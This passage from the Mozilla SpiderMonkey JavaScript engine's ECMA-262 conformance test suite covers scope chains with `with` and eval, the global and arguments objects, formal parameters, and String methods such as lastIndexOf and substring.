Resolution"); new TestCase( "SECTION", "with MyObject, eval should return square of " ); test(); function test() { for ( gTc=0; gTc < gTestcases.length; gTc++ ) { var MYOBJECT = new MyObject(); var INPUT = 2; gTestcases[gTc].description += "( "+INPUT +" )" ; with ( this ) { with ( MYOBJECT ) { gTestcases[gTc].actual = eval( INPUT ); gTestcases[gTc].expect = Math.pow(INPUT,2); } } gTestcases[gTc].passed = writeTestCaseResult( gTestcases[gTc].expect, gTestcases[gTc].actual, gTestcases[gTc].description +" = "+ gTestcases[gTc].actual ); gTestcases[gTc].reason += ( gTestcases[gTc].passed ) ? "" : "wrong value "; } stopTest(); return ( gTestcases ); } function MyObject() { this.eval = new Function( "x", "return(Math.pow(Number(x),2))" ); } mozjs17.0.0/js/src/tests/ecma/ExecutionContexts/10.1.4-5.js0000664000175000017500000000565212106270663022777 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 10.1.4-1.js ECMA Section: 10.1.4 Scope Chain and Identifier Resolution Description: Every execution context has associated with it a scope chain. This is logically a list of objects that are searched when binding an Identifier. When control enters an execution context, the scope chain is created and is populated with an initial set of objects, depending on the type of code. When control leaves the execution context, the scope chain is destroyed. During execution, the scope chain of the execution context is affected only by WithStatement. When execution enters a with block, the object specified in the with statement is added to the front of the scope chain. When execution leaves a with block, whether normally or via a break or continue statement, the object is removed from the scope chain. The object being removed will always be the first object in the scope chain. During execution, the syntactic production PrimaryExpression : Identifier is evaluated using the following algorithm: 1. Get the next object in the scope chain. If there isn't one, go to step 5. 2. Call the [[HasProperty]] method of Result(l), passing the Identifier as the property. 3. If Result(2) is true, return a value of type Reference whose base object is Result(l) and whose property name is the Identifier. 4. Go to step 1. 5. Return a value of type Reference whose base object is null and whose property name is the Identifier. The result of binding an identifier is always a value of type Reference with its member name component equal to the identifier string. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "10.1.4-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Scope Chain and Identifier Resolution"); new TestCase( "SECTION", "with MyObject, eval should be [object Global].eval " ); test(); function test() { for ( gTc=0; gTc < gTestcases.length; gTc++ ) { var MYOBJECT = new MyObject(); var INPUT = 2; gTestcases[gTc].description += ( INPUT +"" ); with ( MYOBJECT ) { eval = null; } gTestcases[gTc].actual = eval( INPUT ); gTestcases[gTc].expect = INPUT; gTestcases[gTc].passed = writeTestCaseResult( gTestcases[gTc].expect, gTestcases[gTc].actual, gTestcases[gTc].description +" = "+ gTestcases[gTc].actual ); gTestcases[gTc].reason += ( gTestcases[gTc].passed ) ? "" : "wrong value "; } stopTest(); return ( gTestcases ); } function MyObject() { this.eval = new Function( "x", "return(Math.pow(Number(x),2))" ); } mozjs17.0.0/js/src/tests/ecma/ExecutionContexts/10.1.4-1.js0000664000175000017500000000564012106270663022770 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 10.1.4-1.js ECMA Section: 10.1.4 Scope Chain and Identifier Resolution Description: Every execution context has associated with it a scope chain. This is logically a list of objects that are searched when binding an Identifier. When control enters an execution context, the scope chain is created and is populated with an initial set of objects, depending on the type of code. When control leaves the execution context, the scope chain is destroyed. During execution, the scope chain of the execution context is affected only by WithStatement. When execution enters a with block, the object specified in the with statement is added to the front of the scope chain. When execution leaves a with block, whether normally or via a break or continue statement, the object is removed from the scope chain. The object being removed will always be the first object in the scope chain. During execution, the syntactic production PrimaryExpression : Identifier is evaluated using the following algorithm: 1. Get the next object in the scope chain. If there isn't one, go to step 5. 2. Call the [[HasProperty]] method of Result(l), passing the Identifier as the property. 3. If Result(2) is true, return a value of type Reference whose base object is Result(l) and whose property name is the Identifier. 4. Go to step 1. 5. Return a value of type Reference whose base object is null and whose property name is the Identifier. The result of binding an identifier is always a value of type Reference with its member name component equal to the identifier string. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "10.1.4-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Scope Chain and Identifier Resolution"); new TestCase( "SECTION", "with MyObject, eval should return square of " ); test(); function test() { for ( gTc=0; gTc < gTestcases.length; gTc++ ) { var MYOBJECT = new MyObject(); var INPUT = 2; gTestcases[gTc].description += "( " + INPUT +" )" ; with ( MYOBJECT ) { gTestcases[gTc].actual = eval( INPUT ); gTestcases[gTc].expect = Math.pow(INPUT,2); } gTestcases[gTc].passed = writeTestCaseResult( gTestcases[gTc].expect, gTestcases[gTc].actual, gTestcases[gTc].description +" = "+ gTestcases[gTc].actual ); gTestcases[gTc].reason += ( gTestcases[gTc].passed ) ? "" : "wrong value "; } stopTest(); return ( gTestcases ); } function MyObject() { this.eval = new Function( "x", "return(Math.pow(Number(x),2))" ); } mozjs17.0.0/js/src/tests/ecma/ExecutionContexts/10.1.5-4.js0000664000175000017500000000425412106270663022774 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 10.1.5-4.js ECMA Section: 10.1.5 Global Object Description: There is a unique global object which is created before control enters any execution context. Initially the global object has the following properties: Built-in objects such as Math, String, Date, parseInt, etc. These have attributes { DontEnum }. Additional host defined properties. This may include a property whose value is the global object itself, for example window in HTML. As control enters execution contexts, and as ECMAScript code is executed, additional properties may be added to the global object and the initial properties may be changed. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "10.5.1-4"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Global Object"); new TestCase( "SECTION", "Anonymous Code check" ); var EVAL_STRING = 'if ( Object == null ) { gTestcases[0].reason += " Object == null" ; }' + 'if ( Function == null ) { gTestcases[0].reason += " Function == null"; }' + 'if ( String == null ) { gTestcases[0].reason += " String == null"; }' + 'if ( Array == null ) { gTestcases[0].reason += " Array == null"; }' + 'if ( Number == null ) { gTestcases[0].reason += " Function == null";}' + 'if ( Math == null ) { gTestcases[0].reason += " Math == null"; }' + 'if ( Boolean == null ) { gTestcases[0].reason += " Boolean == null"; }' + 'if ( Date == null ) { gTestcases[0].reason += " Date == null"; }' + 'if ( eval == null ) { gTestcases[0].reason += " eval == null"; }' + 'if ( parseInt == null ) { gTestcases[0].reason += " parseInt == null"; }' ; var NEW_FUNCTION = new Function( EVAL_STRING ); if ( gTestcases[0].reason != "" ) { gTestcases[0].actual = "fail"; } else { gTestcases[0].actual = "pass"; } gTestcases[0].expect = "pass"; test(); mozjs17.0.0/js/src/tests/ecma/ExecutionContexts/10.2.3-2.js0000664000175000017500000000312212106270663022762 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 10.2.3-2.js ECMA Section: 10.2.3 Function and Anonymous Code Description: The scope chain is initialized to contain the activation object followed by the global object. Variable instantiation is performed using the activation by the global object. Variable instantiation is performed using the activation object as the variable object and using property attributes { DontDelete }. The caller provides the this value. If the this value provided by the caller is not an object (including the case where it is null), then the this value is the global object. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "10.2.3-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Function and Anonymous Code"; writeHeaderToLog( SECTION + " "+ TITLE); var o = new MyObject("hello"); new TestCase( SECTION, "MyFunction(\"PASSED!\")", "PASSED!", MyFunction("PASSED!") ); var o = MyFunction(); new TestCase( SECTION, "MyOtherFunction(true);", false, MyOtherFunction(true) ); test(); function MyFunction( value ) { var x = value; delete x; return x; } function MyOtherFunction(value) { var x = value; return delete x; } function MyObject( value ) { this.THIS = this; } mozjs17.0.0/js/src/tests/ecma/ExecutionContexts/10.1.8-2.js0000664000175000017500000000557412106270663023003 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 10.1.8-2 ECMA Section: Arguments Object Description: When control enters an execution context for declared function code, anonymous code, or implementation-supplied code, an arguments object is created and initialized as follows: The [[Prototype]] of the arguments object is to the original Object prototype object, the one that is the initial value of Object.prototype (section 15.2.3.1). A property is created with name callee and property attributes {DontEnum}. The initial value of this property is the function object being executed. This allows anonymous functions to be recursive. A property is created with name length and property attributes {DontEnum}. The initial value of this property is the number of actual parameter values supplied by the caller. For each non-negative integer, iarg, less than the value of the length property, a property is created with name ToString(iarg) and property attributes { DontEnum }. The initial value of this property is the value of the corresponding actual parameter supplied by the caller. The first actual parameter value corresponds to iarg = 0, the second to iarg = 1 and so on. In the case when iarg is less than the number of formal parameters for the function object, this property shares its value with the corresponding property of the activation object. This means that changing this property changes the corresponding property of the activation object and vice versa. The value sharing mechanism depends on the implementation. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "10.1.8-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Arguments Object"; writeHeaderToLog( SECTION + " "+ TITLE); // Tests for anonymous functions var GetCallee = new Function( "var c = arguments.callee; return c" ); var GetArguments = new Function( "var a = arguments; return a" ); var GetLength = new Function( "var l = arguments.length; return l" ); var ARG_STRING = "value of the argument property"; new TestCase( SECTION, "GetCallee()", GetCallee, GetCallee() ); var LIMIT = 100; for ( var i = 0, args = "" ; i < LIMIT; i++ ) { args += String(i) + ( i+1 < LIMIT ? "," : "" ); } var LENGTH = eval( "GetLength("+ args +")" ); new TestCase( SECTION, "GetLength("+args+")", 100, LENGTH ); var ARGUMENTS = eval( "GetArguments( " +args+")" ); for ( var i = 0; i < 100; i++ ) { new TestCase( SECTION, "GetArguments("+args+")["+i+"]", i, ARGUMENTS[i] ); } test(); mozjs17.0.0/js/src/tests/ecma/ExecutionContexts/10.1.3-1.js0000664000175000017500000000362112106270663022764 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 10.1.3-1.js ECMA Section: 10.1.3 Description: For each formal parameter, as defined in the FormalParameterList, create a property of the variable object whose name is the Identifier and whose attributes are determined by the type of code. The values of the parameters are supplied by the caller. If the caller supplies fewer parameter values than there are formal parameters, the extra formal parameters have value undefined. If two or more formal parameters share the same name, hence the same property, the corresponding property is given the value that was supplied for the last parameter with this name. If the value of this last parameter was not supplied by the caller, the value of the corresponding property is undefined. http://scopus.mcom.com/bugsplat/show_bug.cgi?id=104191 Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "10.1.3-1"; var VERSION = "ECMA_1"; var TITLE = "Variable Instantiation: Formal Parameters"; var BUGNUMBER="104191"; startTest(); writeHeaderToLog( SECTION + " "+ TITLE); var myfun1 = new Function( "a", "a", "return a" ); var myfun2 = new Function( "a", "b", "a", "return a" ); function myfun3(a, b, a) { return a; } // myfun1, myfun2, myfun3 tostring new TestCase( SECTION, String(myfun2) +"; myfun2(2,4,8)", 8, myfun2(2,4,8) ); new TestCase( SECTION, "myfun2(2,4)", void 0, myfun2(2,4)); new TestCase( SECTION, String(myfun3) +"; myfun3(2,4,8)", 8, myfun3(2,4,8) ); new TestCase( SECTION, "myfun3(2,4)", void 0, myfun3(2,4) ); test(); mozjs17.0.0/js/src/tests/ecma/ExecutionContexts/10.1.4-10.js0000664000175000017500000000536512106270663023054 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 10.1.4-10.js ECMA Section: 10.1.4 Scope Chain and Identifier Resolution Description: Every execution context has associated with it a scope chain. This is logically a list of objects that are searched when binding an Identifier. When control enters an execution context, the scope chain is created and is populated with an initial set of objects, depending on the type of code. When control leaves the execution context, the scope chain is destroyed. During execution, the scope chain of the execution context is affected only by WithStatement. When execution enters a with block, the object specified in the with statement is added to the front of the scope chain. When execution leaves a with block, whether normally or via a break or continue statement, the object is removed from the scope chain. The object being removed will always be the first object in the scope chain. During execution, the syntactic production PrimaryExpression : Identifier is evaluated using the following algorithm: 1. Get the next object in the scope chain. If there isn't one, go to step 5. 2. Call the [[HasProperty]] method of Result(l), passing the Identifier as the property. 3. If Result(2) is true, return a value of type Reference whose base object is Result(l) and whose property name is the Identifier. 4. Go to step 1. 5. Return a value of type Reference whose base object is null and whose property name is the Identifier. The result of binding an identifier is always a value of type Reference with its member name component equal to the identifier string. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "10.1.4-10"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Scope Chain and Identifier Resolution"); new TestCase( "SECTION", "MYOBJECT.toString()" ); test(); function test() { for ( gTc=0; gTc < gTestcases.length; gTc++ ) { var VALUE = 12345; var MYOBJECT = new Number( VALUE ); with ( MYOBJECT ) { gTestcases[gTc].actual = toString(); gTestcases[gTc].expect = String(VALUE); } gTestcases[gTc].passed = writeTestCaseResult( gTestcases[gTc].expect, gTestcases[gTc].actual, gTestcases[gTc].description +" = "+ gTestcases[gTc].actual ); gTestcases[gTc].reason += ( gTestcases[gTc].passed ) ? "" : "wrong value "; } stopTest(); return ( gTestcases ); } mozjs17.0.0/js/src/tests/ecma/ExecutionContexts/10.1.4-7.js0000664000175000017500000000566112106270663023001 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 10.1.4-7.js ECMA Section: 10.1.4 Scope Chain and Identifier Resolution Description: Every execution context has associated with it a scope chain. This is logically a list of objects that are searched when binding an Identifier. When control enters an execution context, the scope chain is created and is populated with an initial set of objects, depending on the type of code. When control leaves the execution context, the scope chain is destroyed. During execution, the scope chain of the execution context is affected only by WithStatement. When execution enters a with block, the object specified in the with statement is added to the front of the scope chain. When execution leaves a with block, whether normally or via a break or continue statement, the object is removed from the scope chain. The object being removed will always be the first object in the scope chain. During execution, the syntactic production PrimaryExpression : Identifier is evaluated using the following algorithm: 1. Get the next object in the scope chain. If there isn't one, go to step 5. 2. Call the [[HasProperty]] method of Result(l), passing the Identifier as the property. 3. If Result(2) is true, return a value of type Reference whose base object is Result(l) and whose property name is the Identifier. 4. Go to step 1. 5. Return a value of type Reference whose base object is null and whose property name is the Identifier. The result of binding an identifier is always a value of type Reference with its member name component equal to the identifier string. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "10.1.4-7"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Scope Chain and Identifier Resolution"); new TestCase( "SECTION", "with MyObject, eval should be [object Global].eval " ); test(); function test() { for ( gTc=0; gTc < gTestcases.length; gTc++ ) { var MYOBJECT = new MyObject(); var INPUT = 2; gTestcases[gTc].description += ( INPUT +"" ); with ( MYOBJECT ) { delete( eval ); gTestcases[gTc].actual = eval( INPUT ); gTestcases[gTc].expect = INPUT; } gTestcases[gTc].passed = writeTestCaseResult( gTestcases[gTc].expect, gTestcases[gTc].actual, gTestcases[gTc].description +" = "+ gTestcases[gTc].actual ); gTestcases[gTc].reason += ( gTestcases[gTc].passed ) ? "" : "wrong value "; } stopTest(); return ( gTestcases ); } function MyObject() { this.eval = new Function( "x", "return(Math.pow(Number(x),2))" ); } mozjs17.0.0/js/src/tests/ecma/String/0000775000175000017500000000000012106270663017321 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/String/15.5.4.3-1.js0000664000175000017500000000313412106270663020711 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.3-1.js ECMA Section: 15.5.4.3 String.prototype.valueOf() Description: Returns this string value. The valueOf function is not generic; it generates a runtime error if its this value is not a String object. Therefore it connot be transferred to the other kinds of objects for use as a method. Author: christine@netscape.com Date: 1 october 1997 */ var SECTION = "15.5.4.3-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.prototype.valueOf"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "String.prototype.valueOf.length", 0, String.prototype.valueOf.length ); new TestCase( SECTION, "String.prototype.valueOf()", "", String.prototype.valueOf() ); new TestCase( SECTION, "(new String()).valueOf()", "", (new String()).valueOf() ); new TestCase( SECTION, "(new String(\"\")).valueOf()", "", (new String("")).valueOf() ); new TestCase( SECTION, "(new String( String() )).valueOf()","", (new String(String())).valueOf() ); new TestCase( SECTION, "(new String( \"h e l l o\" )).valueOf()", "h e l l o", (new String("h e l l o")).valueOf() ); new TestCase( SECTION, "(new String( 0 )).valueOf()", "0", (new String(0)).valueOf() ); test(); mozjs17.0.0/js/src/tests/ecma/String/15.5.4.7-2.js0000664000175000017500000002305312106270663020720 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.7-2.js ECMA Section: 15.5.4.7 String.prototype.lastIndexOf( searchString, pos) Description: If the given searchString appears as a substring of the result of converting this object to a string, at one or more positions that are at or to the left of the specified position, then the index of the rightmost such position is returned; otherwise -1 is returned. If position is undefined or not supplied, the length of this string value is assumed, so as to search all of the string. When the lastIndexOf method is called with two arguments searchString and position, the following steps are taken: 1.Call ToString, giving it the this value as its argument. 2.Call ToString(searchString). 3.Call ToNumber(position). (If position is undefined or not supplied, this step produces the value NaN). 4.If Result(3) is NaN, use +; otherwise, call ToInteger(Result(3)). 5.Compute the number of characters in Result(1). 6.Compute min(max(Result(4), 0), Result(5)). 7.Compute the number of characters in the string that is Result(2). 8.Compute the largest possible integer k not larger than Result(6) such that k+Result(7) is not greater than Result(5), and for all nonnegative integers j less than Result(7), the character at position k+j of Result(1) is the same as the character at position j of Result(2); but if there is no such integer k, then compute the value -1. 1.Return Result(8). Note that the lastIndexOf function is intentionally generic; it does not require that its this value be a String object. Therefore it can be transferred to other kinds of objects for use as a method. Author: christine@netscape.com, pschwartau@netscape.com Date: 02 October 1997 Modified: 14 July 2002 Reason: See http://bugzilla.mozilla.org/show_bug.cgi?id=155289 ECMA-262 Ed.3 Section 15.5.4.8 The length property of the lastIndexOf method is 1 * */ var SECTION = "15.5.4.7-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.protoype.lastIndexOf"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "String.prototype.lastIndexOf.length", 1, String.prototype.lastIndexOf.length ); new TestCase( SECTION, "delete String.prototype.lastIndexOf.length", false, delete String.prototype.lastIndexOf.length ); new TestCase( SECTION, "delete String.prototype.lastIndexOf.length; String.prototype.lastIndexOf.length", 1, eval("delete String.prototype.lastIndexOf.length; String.prototype.lastIndexOf.length" ) ); new TestCase( SECTION, "var s = new String(''); s.lastIndexOf('', 0)", LastIndexOf("","",0), eval("var s = new String(''); s.lastIndexOf('', 0)") ); new TestCase( SECTION, "var s = new String(''); s.lastIndexOf('')", LastIndexOf("",""), eval("var s = new String(''); s.lastIndexOf('')") ); new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('', 0)", LastIndexOf("hello","",0), eval("var s = new String('hello'); s.lastIndexOf('',0)") ); new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('')", LastIndexOf("hello",""), eval("var s = new String('hello'); s.lastIndexOf('')") ); new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('ll')", LastIndexOf("hello","ll"), eval("var s = new String('hello'); s.lastIndexOf('ll')") ); new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('ll', 0)", LastIndexOf("hello","ll",0), eval("var s = new String('hello'); s.lastIndexOf('ll', 0)") ); new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('ll', 1)", LastIndexOf("hello","ll",1), eval("var s = new String('hello'); s.lastIndexOf('ll', 1)") ); new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('ll', 2)", LastIndexOf("hello","ll",2), eval("var s = new String('hello'); s.lastIndexOf('ll', 2)") ); new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('ll', 3)", LastIndexOf("hello","ll",3), eval("var s = new String('hello'); s.lastIndexOf('ll', 3)") ); new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('ll', 4)", LastIndexOf("hello","ll",4), eval("var s = new String('hello'); s.lastIndexOf('ll', 4)") ); new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('ll', 5)", LastIndexOf("hello","ll",5), eval("var s = new String('hello'); s.lastIndexOf('ll', 5)") ); new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('ll', 6)", LastIndexOf("hello","ll",6), eval("var s = new String('hello'); s.lastIndexOf('ll', 6)") ); new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('ll', 1.5)", LastIndexOf('hello','ll', 1.5), eval("var s = new String('hello'); s.lastIndexOf('ll', 1.5)") ); new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('ll', 2.5)", LastIndexOf('hello','ll', 2.5), eval("var s = new String('hello'); s.lastIndexOf('ll', 2.5)") ); new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('ll', -1)", LastIndexOf('hello','ll', -1), eval("var s = new String('hello'); s.lastIndexOf('ll', -1)") ); new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('ll', -1.5)",LastIndexOf('hello','ll', -1.5), eval("var s = new String('hello'); s.lastIndexOf('ll', -1.5)") ); new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('ll', -Infinity)", LastIndexOf("hello","ll",-Infinity), eval("var s = new String('hello'); s.lastIndexOf('ll', -Infinity)") ); new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('ll', Infinity)", LastIndexOf("hello","ll",Infinity), eval("var s = new String('hello'); s.lastIndexOf('ll', Infinity)") ); new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('ll', NaN)", LastIndexOf("hello","ll",NaN), eval("var s = new String('hello'); s.lastIndexOf('ll', NaN)") ); new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('ll', -0)", LastIndexOf("hello","ll",-0), eval("var s = new String('hello'); s.lastIndexOf('ll', -0)") ); for ( var i = 0; i < ( "[object Object]" ).length; i++ ) { new TestCase( SECTION, "var o = new Object(); o.lastIndexOf = String.prototype.lastIndexOf; o.lastIndexOf('b', "+ i + ")", ( i < 2 ? -1 : ( i < 9 ? 2 : 9 )) , eval("var o = new Object(); o.lastIndexOf = String.prototype.lastIndexOf; o.lastIndexOf('b', "+ i + ")") ); } for ( var i = 0; i < 5; i ++ ) { new TestCase( SECTION, "var b = new Boolean(); b.lastIndexOf = String.prototype.lastIndexOf; b.lastIndexOf('l', "+ i + ")", ( i < 2 ? -1 : 2 ), eval("var b = new Boolean(); b.lastIndexOf = String.prototype.lastIndexOf; b.lastIndexOf('l', "+ i + ")") ); } for ( var i = 0; i < 5; i ++ ) { new TestCase( SECTION, "var b = new Boolean(); b.toString = Object.prototype.toString; b.lastIndexOf = String.prototype.lastIndexOf; b.lastIndexOf('o', "+ i + ")", ( i < 1 ? -1 : ( i < 9 ? 1 : ( i < 10 ? 9 : 10 ) ) ), eval("var b = new Boolean(); b.toString = Object.prototype.toString; b.lastIndexOf = String.prototype.lastIndexOf; b.lastIndexOf('o', "+ i + ")") ); } for ( var i = 0; i < 9; i++ ) { new TestCase( SECTION, "var n = new Number(Infinity); n.lastIndexOf = String.prototype.lastIndexOf; n.lastIndexOf( 'i', " + i + " )", ( i < 3 ? -1 : ( i < 5 ? 3 : 5 ) ), eval("var n = new Number(Infinity); n.lastIndexOf = String.prototype.lastIndexOf; n.lastIndexOf( 'i', " + i + " )") ); } var a = new Array( "abc","def","ghi","jkl","mno","pqr","stu","vwx","yz" ); for ( var i = 0; i < (a.toString()).length; i++ ) { new TestCase( SECTION, "var a = new Array( 'abc','def','ghi','jkl','mno','pqr','stu','vwx','yz' ); a.lastIndexOf = String.prototype.lastIndexOf; a.lastIndexOf( ',mno,p', "+i+" )", ( i < 15 ? -1 : 15 ), eval("var a = new Array( 'abc','def','ghi','jkl','mno','pqr','stu','vwx','yz' ); a.lastIndexOf = String.prototype.lastIndexOf; a.lastIndexOf( ',mno,p', "+i+" )") ); } for ( var i = 0; i < 15; i ++ ) { new TestCase( SECTION, "var m = Math; m.lastIndexOf = String.prototype.lastIndexOf; m.lastIndexOf('t', "+ i + ")", ( i < 6 ? -1 : ( i < 10 ? 6 : 10 ) ), eval("var m = Math; m.lastIndexOf = String.prototype.lastIndexOf; m.lastIndexOf('t', "+ i + ")") ); } /* for ( var i = 0; i < 15; i++ ) { new TestCase( SECTION, "var d = new Date(); d.lastIndexOf = String.prototype.lastIndexOf; d.lastIndexOf( '0' )", ) } */ test(); function LastIndexOf( string, search, position ) { string = String( string ); search = String( search ); position = Number( position ) if ( isNaN( position ) ) { position = Infinity; } else { position = ToInteger( position ); } result5= string.length; result6 = Math.min(Math.max(position, 0), result5); result7 = search.length; if (result7 == 0) { return Math.min(position, result5); } result8 = -1; for ( k = 0; k <= result6; k++ ) { if ( k+ result7 > result5 ) { break; } for ( j = 0; j < result7; j++ ) { if ( string.charAt(k+j) != search.charAt(j) ){ break; } else { if ( j == result7 -1 ) { result8 = k; } } } } return result8; } function ToInteger( n ) { n = Number( n ); if ( isNaN(n) ) { return 0; } if ( Math.abs(n) == 0 || Math.abs(n) == Infinity ) { return n; } var sign = ( n < 0 ) ? -1 : 1; return ( sign * Math.floor(Math.abs(n)) ); } mozjs17.0.0/js/src/tests/ecma/String/15.5.4.10-1.js0000664000175000017500000001657212106270663021001 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.10-1.js ECMA Section: 15.5.4.10 String.prototype.substring( start, end ) Description: 15.5.4.10 String.prototype.substring(start, end) Returns a substring of the result of converting this object to a string, starting from character position start and running to character position end of the string. The result is a string value, not a String object. If either argument is NaN or negative, it is replaced with zero; if either argument is larger than the length of the string, it is replaced with the length of the string. If start is larger than end, they are swapped. When the substring method is called with two arguments start and end, the following steps are taken: 1. Call ToString, giving it the this value as its argument. 2. Call ToInteger(start). 3. Call ToInteger (end). 4. Compute the number of characters in Result(1). 5. Compute min(max(Result(2), 0), Result(4)). 6. Compute min(max(Result(3), 0), Result(4)). 7. Compute min(Result(5), Result(6)). 8. Compute max(Result(5), Result(6)). 9. Return a string whose length is the difference between Result(8) and Result(7), containing characters from Result(1), namely the characters with indices Result(7) through Result(8)1, in ascending order. Note that the substring function is intentionally generic; it does not require that its this value be a String object. Therefore it can be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.5.4.10-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.prototype.substring( start, end )"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "String.prototype.substring.length", 2, String.prototype.substring.length ); new TestCase( SECTION, "delete String.prototype.substring.length", false, delete String.prototype.substring.length ); new TestCase( SECTION, "delete String.prototype.substring.length; String.prototype.substring.length", 2, eval("delete String.prototype.substring.length; String.prototype.substring.length") ); // test cases for when substring is called with no arguments. // this is a string object new TestCase( SECTION, "var s = new String('this is a string object'); typeof s.substring()", "string", eval("var s = new String('this is a string object'); typeof s.substring()") ); new TestCase( SECTION, "var s = new String(''); s.substring(1,0)", "", eval("var s = new String(''); s.substring(1,0)") ); new TestCase( SECTION, "var s = new String('this is a string object'); s.substring(true, false)", "t", eval("var s = new String('this is a string object'); s.substring(false, true)") ); new TestCase( SECTION, "var s = new String('this is a string object'); s.substring(NaN, Infinity)", "this is a string object", eval("var s = new String('this is a string object'); s.substring(NaN, Infinity)") ); new TestCase( SECTION, "var s = new String('this is a string object'); s.substring(Infinity, NaN)", "this is a string object", eval("var s = new String('this is a string object'); s.substring(Infinity, NaN)") ); new TestCase( SECTION, "var s = new String('this is a string object'); s.substring(Infinity, Infinity)", "", eval("var s = new String('this is a string object'); s.substring(Infinity, Infinity)") ); new TestCase( SECTION, "var s = new String('this is a string object'); s.substring(-0.01, 0)", "", eval("var s = new String('this is a string object'); s.substring(-0.01,0)") ); new TestCase( SECTION, "var s = new String('this is a string object'); s.substring(s.length, s.length)", "", eval("var s = new String('this 